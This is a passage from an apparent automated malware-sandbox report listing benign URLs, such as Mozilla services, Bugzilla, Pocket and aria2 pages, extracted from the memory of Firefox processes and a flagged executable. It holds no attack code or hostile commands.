                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
                  Source: firefox.exe, 00000011.00000003.2496017415.000002435E06D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
                  Source: firefox.exe, 00000011.00000003.2314766216.0000024368ACD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2444720249.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2315959898.00000243638B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2477674869.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2476828386.0000024368363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2326619496.0000024368363000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://allegro.pl/
                  Source: firefox.exe, 00000011.00000003.2333638774.000002435E267000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2446484016.000002435E267000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://amazon.com/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://api.accounts.firefox.com/v1
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: https://aria2.github.io/
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: https://aria2.github.io/Usage:
                  Source: firefox.exe, 00000011.00000003.2495210278.000002435E21D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aus5.mozilla.org
                  Source: firefox.exe, 00000011.00000003.2487200237.0000024365345000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aus5.mozilla.org/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2491259190.000002435EDDC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://blocked.cdn.mozilla.net/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
                  Source: firefox.exe, 00000011.00000003.2455390221.000002436389F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
                  Source: firefox.exe, 00000011.00000003.2456401062.000002435DD84000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464experimental-features-devtools-compatibility-pan
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439https://bugzilla.mozilla.org/show_bug.cgi?id=153
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
                  Source: firefox.exe, 00000011.00000003.2455390221.000002436389F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
                  Source: firefox.exe, 00000011.00000003.2399837909.000002435C767000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
                  Source: firefox.exe, 00000011.00000003.2456401062.000002435DD84000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
                  Source: firefox.exe, 00000011.00000003.2453517510.000002435C748000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=840161
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
                  Source: firefox.exe, 00000011.00000003.2260044945.000002435B750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259914575.000002435B736000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://completion.amazon.com/search/complete?q=
                  Source: firefox.exe, 00000011.00000003.2332689238.000002435E4F6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://content-signature-2.cdn.mozilla.net
                  Source: firefox.exe, 00000011.00000003.2332689238.000002435E4F6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://content-signature-2.cdn.mozilla.net/
                  Source: firefox.exe, 00000011.00000003.2332689238.000002435E463000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2479878785.00000243655B3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://content.cdn.mozilla.net
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
                  Source: firefox.exe, 00000014.00000002.3339591404.000001F5277C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3342601193.0000025EFE703000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
                  Source: firefox.exe, 00000011.00000003.2480393696.00000243654B0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile.services.mozilla.com
                  Source: firefox.exe, 00000011.00000003.2480700187.0000024365420000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contile.services.mozilla.com/
                  Source: firefox.exe, 00000011.00000003.2480700187.0000024365420000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2307680554.0000024368997000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://contile.services.mozilla.com/v1/tiles
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://coverage.mozilla.org
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://crash-stats.mozilla.org/report/index/
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305170781.0000024363831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://crbug.com/993268
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://dap-02.api.divviup.org
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
                  Source: firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
                  Source: firefox.exe, 00000011.00000003.2474549451.00000243689D2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
                  Source: firefox.exe, 00000011.00000003.2388692284.000002435C732000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305170781.0000024363831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
                  Source: firefox.exe, 00000011.00000003.2446484016.000002435E29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259756769.000002435B71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260165444.000002435B76B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2423049050.000002435E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495445273.000002435E0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2398701841.000002435E0D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2260276730.000002435B783000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2259618778.0000024359200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2495626539.000002435E0AE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/
                  Source: firefox.exe, 00000011.00000003.2347089065.0000024368482000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/?t=ffab&q=
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/y
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
                  Source: firefox.exe, 00000011.00000003.2410334334.000002435B67E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
                  Source: firefox.exe, 00000011.00000003.2470456832.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2474549451.00000243689D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2413873750.00000243689D6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
                  Source: firefox.exe, 00000011.00000003.2322644746.000002435C074000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2325769645.000002435DFB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2322644746.000002435C08C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2323589912.000002435C071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
                  Source: firefox.exe, 00000011.00000003.2495164004.000002435E224000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
                  Source: firefox.exe, 00000014.00000002.3339199055.000001F527590000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3342422429.00000184C78C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3338800805.0000025EFE210000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE513000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.cdn.mozilla.net/
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
                  Source: firefox.exe, 00000017.00000002.3339469493.0000025EFE530000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
                  Source: firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
                  Source: firefox.exe, 00000011.00000003.2444720249.0000024368334000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
                  Source: firefox.exe, 00000011.00000003.2477581006.000002436844B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreM
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/firefox/new_tab_learn_moreMore
                  Source: firefox.exe, 00000011.00000003.2320965039.000002435C167000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3338371718.00000184C72C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3339469493.0000025EFE5C4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/recommendations
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/recommendationsS
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/recommendationsS7
                  Source: firefox.exe, 00000011.00000003.2481936753.0000024365361000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2419798569.0000024365361000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: https://github.com/aria2/aria2/issues
                  Source: SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe, ariac.exe.2.drString found in binary or memory: https://github.com/aria2/aria2/issuesReport
                  Source: firefox.exe, 00000011.00000003.2400573242.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2380446020.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305170781.0000024363831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2427444409.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2305816782.0000024363830000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2374374159.0000024363830000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/google/closure-compiler/issues/3177
                  Source: firefox.exe, 00000011.00000003.2401229475.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2335780358.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2426047925.00000243658DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2405615746.00000243658DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000011.00000003.2377897924.00000243658DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
